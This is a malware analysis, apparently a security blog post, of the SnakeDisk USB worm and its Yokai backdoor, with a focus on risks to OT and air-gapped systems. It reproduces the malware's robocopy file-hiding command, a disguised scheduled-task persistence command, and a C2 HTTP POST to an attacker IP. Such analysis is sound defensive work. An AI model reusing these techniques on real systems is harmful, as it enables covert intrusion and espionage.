Analysis of Mustang Panda’s SnakeDisk USB Worm and Its Potential Impact on Operational Technology (OT) Environments

Executive Summary

In August 2025, IBM X-Force identified a sophisticated USB-based malware campaign attributed to the China-aligned threat actor Hive0154 (Mustang Panda), involving a newly discovered USB worm known as SnakeDisk. Unlike traditional malware that relies on internet connectivity for propagation, SnakeDisk is designed to spread through removable media, enabling it to reach isolated and air-gapped environments where critical systems often operate. The malware continuously monitors for USB device insertion, infects connected drives by hiding legitimate files and replacing them with weaponized executables, and propagates when the infected USB is used on another system. Once executed by a victim, SnakeDisk deploys the Yokai backdoor, which establishes persistence, communicates with command-and-control infrastructure, and provides attackers with remote command execution capabilities. IBM researchers observed that the malware specifically validates whether a target is located in Thailand before activating, suggesting a targeted cyber-espionage operation linked to regional geopolitical tensions. From an Operational Technology (OT) security perspective, the campaign is particularly significant because it demonstrates how threat actors can leverage USB devices to bypass network-based defenses and potentially infiltrate air-gapped industrial environments. The attack highlights the continued effectiveness of removable media as an initial access vector and reinforces the need for strict USB control policies, removable media monitoring, and secure data transfer procedures within critical infrastructure and industrial control system environments.

Investigation

The SnakeDisk campaign was discovered by IBM X-Force in August 2025 during an investigation into malware activity linked to Hive0154 (Mustang Panda). Researchers identified SnakeDisk as a previously known USB-based worm designed to spread through removable media, making it particularly effective against isolated and air-gapped environments.

Analysis revealed that SnakeDisk continuously monitors infected systems for USB device activity. When a USB drive is connected, the malware copies malicious components to the device, hides the user’s original files in hidden directories, and creates a deceptive executable designed to appear legitimate. If the executable is launched on another system, the malware infects the new host and continues its propagation cycle.

Researchers also found that SnakeDisk performs a geographic validation check before activating. The malware verifies whether the target system is located in Thailand, suggesting that the campaign was intended for specific targets rather than widespread infection. This targeted behavior aligns with regional geopolitical developments observed during 2025.

Further investigation showed that SnakeDisk deploys the Yokai backdoor as its final payload. Yokai provides persistence, command-and-control communication, and remote access capabilities, allowing attackers to execute commands and maintain long-term access to compromised systems. Researchers also identified similarities between SnakeDisk and earlier USB-based malware families associated with Mustang Panda, indicating that SnakeDisk is likely an evolution of previous removable-media attack frameworks.

From an OT security perspective, the campaign demonstrates how USB devices can be used to bypass network security controls and potentially introduce malware into critical or air-gapped environments where removable media is commonly used for software updates, maintenance, and data transfer.

Technical Analysis — Initialization

SnakeDisk is implemented as a 32-bit DLL and uses DLL sideloading techniques to execute on a victim system. The malware supports two execution modes controlled through command-line arguments. When launched with “-Embedding”, SnakeDisk begins its USB infection process and later deploys its embedded payload when a USB device is removed. When launched with “-hope”, it immediately drops and executes its payload without performing USB propagation.

Before executing its main functions, SnakeDisk searches the parent executable’s directory for a valid configuration file, ignoring files named “System Volume Information”. To verify the configuration, the malware checks that the file size falls within an expected range and confirms that the first four bytes contain a valid CRC32 hash of the remaining file contents.

Once a valid configuration file is identified, SnakeDisk decrypts it using a custom two-stage XOR-based algorithm and a 320-byte encryption key stored within the file header. The decrypted configuration provides the malware with operational settings such as USB infection parameters, filenames, directory structures, and propagation rules. After loading these settings, SnakeDisk proceeds to target validation, USB monitoring, and propagation activities.

Configuration Processing and Target Validation

After decrypting its configuration file, SnakeDisk extracts 18 configuration values that define its behavior. These settings include the malware version, mutex name, USB directory structure, filenames for malicious components, and parameters used during USB propagation. The configuration also specifies how legitimate files will be hidden, where malicious files will be stored on infected USB drives, and how the malware should manage future infections.

Before continuing execution, SnakeDisk performs a geographic validation check to determine whether the infected system is located in Thailand. The malware sends a request to a public geolocation service using ipinfo.io and checks the returned country code. If the system is identified as being in Thailand (“TH” or “THA”), execution proceeds. This behavior suggests that the campaign was intended for specific targets rather than indiscriminate global infection.

GET /json HTTP/1.1

Connection: Keep-Alive

User-Agent: Program/1.0

Host: ipinfo.io

Notably, SnakeDisk is designed to continue operating even if network communication or API-related errors occur, increasing its chances of successful execution in restricted environments.

To prevent multiple instances from running on the same system, SnakeDisk uses a mutex-based mechanism. It attempts to open a mutex defined in its configuration file; if the mutex already exists, the malware terminates. Otherwise, it creates the mutex and proceeds with the next stage of the attack. This helps improve operational stability and reduces conflicts between multiple running copies of the malware.

USB Device Detection and Monitoring

After completing initialization and target validation, SnakeDisk begins searching for removable USB devices connected to the infected system. It scans all drive letters from A to Z and uses the Windows IOCTL_STORAGE_GET_HOTPLUG_INFO control code to determine whether a drive is a removable device. If a USB drive is identified, the malware immediately launches a thread to infect it.

Once the initial scan is complete, SnakeDisk continuously monitors the system for USB activity by creating a hidden window and registering for Windows device notifications. It listens for DBT_DEVICEARRIVAL events, which indicate that a new USB device has been connected, and DBT_DEVICEREMOVECOMPLETE events, which indicate that a USB device has been removed.

When a new USB drive is detected, SnakeDisk identifies the associated drive letter and automatically starts the infection process. When a USB device is removed, the malware triggers its payload execution routine, equivalent to running SnakeDisk with the “-hope” argument. This allows the malware to move from the propagation stage to the deployment stage of the attack.

By continuously monitoring USB insertion and removal events, SnakeDisk can automatically infect newly connected devices and spread without additional user interaction. This capability makes it particularly effective in environments where USB drives are frequently used for data transfer, software updates, and system maintenance.

USB Propagation Mechanism

When a USB device is detected, SnakeDisk first checks whether the drive has already been infected by searching for configuration files with .dat or .cd extensions. If an existing SnakeDisk configuration is found, the malware compares version numbers and only reinfects the device if it contains an older version.

To prepare the USB for propagation, SnakeDisk moves the user’s original files into hidden directories created on the drive. This makes the USB appear empty or unused while preserving the victim’s data. The malware uses Windows file-management functions and, in some cases, the Robocopy utility to relocate files without deleting them, reducing the likelihood of raising suspicion.

robocopy <drive_letter>:\ <drive_letter>:\<urd>\<uud>\ /XD

“<drive_letter>:\<urd>\” /XF “<drive_letter>:\<unendl_org>” /XF

“<drive_letter>:\<usb_volumename>.exe” /XD “System Volume Information” /E

/MOVE

After hiding the legitimate files, SnakeDisk copies several malicious components to the USB, including executable files, DLLs, encrypted payloads, and configuration files required for future infections. It then creates a malicious executable in the root directory of the USB drive, typically named after the USB volume label or, if none exists, USB.exe. This deceptive naming strategy increases the chance that a user will execute the file on another system.

To further conceal its presence, SnakeDisk assigns SYSTEM and HIDDEN attributes to its supporting files and directories. As a result, the malicious executable may be the only visible file on the USB, while both the malware components and the user’s original files remain hidden. When the executable is launched on another machine, it initiates the next stage of the infection chain through DLL sideloading and payload deployment.

.\<pnex> copied to <drive_letter>:\<urd>\<usd>\<unex>

.\<pndl> copied to <drive_letter>:\<urd>\<usd>\<undl>

.\<pnen> copied to <drive_letter>:\<urd>\<usd>\<unen>

.\<pnendl> copied to <drive_letter>:\<urd>\<usd>\<unendl>

.\<pnen> copied to <drive_letter>:\<usb_volumename>.exe

.\<pnendl> copied to <drive_letter>:\<unendl_org>

Finally, SnakeDisk stores its configuration file on the infected USB device, allowing future infections to be tracked and managed when the drive is connected to additional systems.

Payload Execution

The payload execution stage begins when SnakeDisk detects the removal of an infected USB device or when it is executed using the “-hope” command-line argument. Before deploying its payload, the malware checks a marker file named vm.ini to determine whether the system has already been infected. If the file indicates a previous infection, the malware terminates to avoid redeploying its payload.

If the system has not been infected, SnakeDisk reconstructs several embedded payload components in memory and decrypts them using a simple XOR-based routine. These components are written to the C:\Users\Public\ directory as temporary files (srv0–srv2 and loga–logc). The files are then combined to create two final payloads: a malicious DLL (libcef.dll) and a randomly named executable. After the payloads are generated, the temporary files are deleted to reduce evidence of the infection process.

SnakeDisk then launches the executable with the “-project-mod” argument. Although the executable is a legitimate signed application (acwebbrowser.exe), it is abused for DLL sideloading, causing it to load the malicious libcef.dll from the same directory. This technique allows the malware to execute malicious code under the context of a trusted application, helping it evade detection and transition to the final stage of the attack, where the Yokai backdoor is deployed.

c:\users\public\<randomised_name>.exe -project-mod

Yokai Backdoor Deployment

The final stage of the SnakeDisk attack involves the deployment of the Yokai backdoor. After DLL sideloading is successfully performed, the malicious libcef.dll payload is loaded, activating Yokai on the compromised system.

Yokai first verifies the “-project-mod” argument to ensure it was launched through the intended infection chain. It then establishes persistence by creating a scheduled task named “MicrosoftEdgeAcModuleUpdateTask”, which automatically relaunches the malware every five minutes if the user lacks administrative privileges. This helps maintain access even after system reboots.

cmd.exe /c schtasks /create /f /sc MINUTE /MO 5 /tn

“MicrosoftEdgeAcModuleUpdateTask” /tr “<path> -project-mod”

To avoid multiple instances running simultaneously, Yokai creates a mutex and initializes its internal configuration. It then communicates with a hardcoded command-and-control (C2) server using encrypted HTTP POST requests, allowing attackers to exchange data with the infected system while concealing the contents of the communication.

POST /kptinfo/import/index.php HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

User-Agent: WinHTTP Example/1.0

API-INDEX: 0

Accept-Connect: 0

Content-Length: 156

Host: 118.174.183[.]89

<encrypted data>

Once connected to the C2 infrastructure, Yokai establishes a reverse shell, providing attackers with remote access to the compromised machine. Through this capability, threat actors can execute commands, collect information, transfer files, and perform additional malicious activities.

The deployment of Yokai transforms SnakeDisk from a USB propagation tool into a complete cyber-espionage platform. While SnakeDisk is responsible for spreading the infection through removable media, Yokai enables persistence, remote command execution, and long-term control of compromised systems. Researchers also observed similarities between Yokai and other Hive0154 malware families, including Toneshell and Pubload, suggesting a shared development ecosystem and common attack methodologies.

Conclusion

The SnakeDisk campaign demonstrates the continued effectiveness of USB devices as an attack vector for advanced threat actors. Attributed to Hive0154 (Mustang Panda), the malware combines USB-based propagation, file-hiding techniques, DLL sideloading, and the Yokai backdoor to compromise targeted systems and provide attackers with long-term remote access.

From an Operational Technology (OT) perspective, SnakeDisk poses a significant risk because it can spread through removable media without requiring network connectivity. Since many industrial environments rely on USB devices for software updates, maintenance, and data transfers, the malware has the potential to bypass traditional security controls and reach isolated or air-gapped systems.

The campaign also highlights the growing sophistication of cyber-espionage operations through features such as geographic targeting, persistence mechanisms, encrypted command-and-control communication, and reverse shell capabilities. The similarities between SnakeDisk and earlier ToneDisk variants further indicate the continuous evolution of Hive0154’s malware ecosystem.

To reduce the risk of similar attacks, organizations should enforce strict USB security controls, monitor removable media activity, restrict unauthorized devices, and regularly review systems for indicators of compromise. Strong visibility into endpoint and USB activity remains essential for protecting both IT and OT environments from USB-borne threats.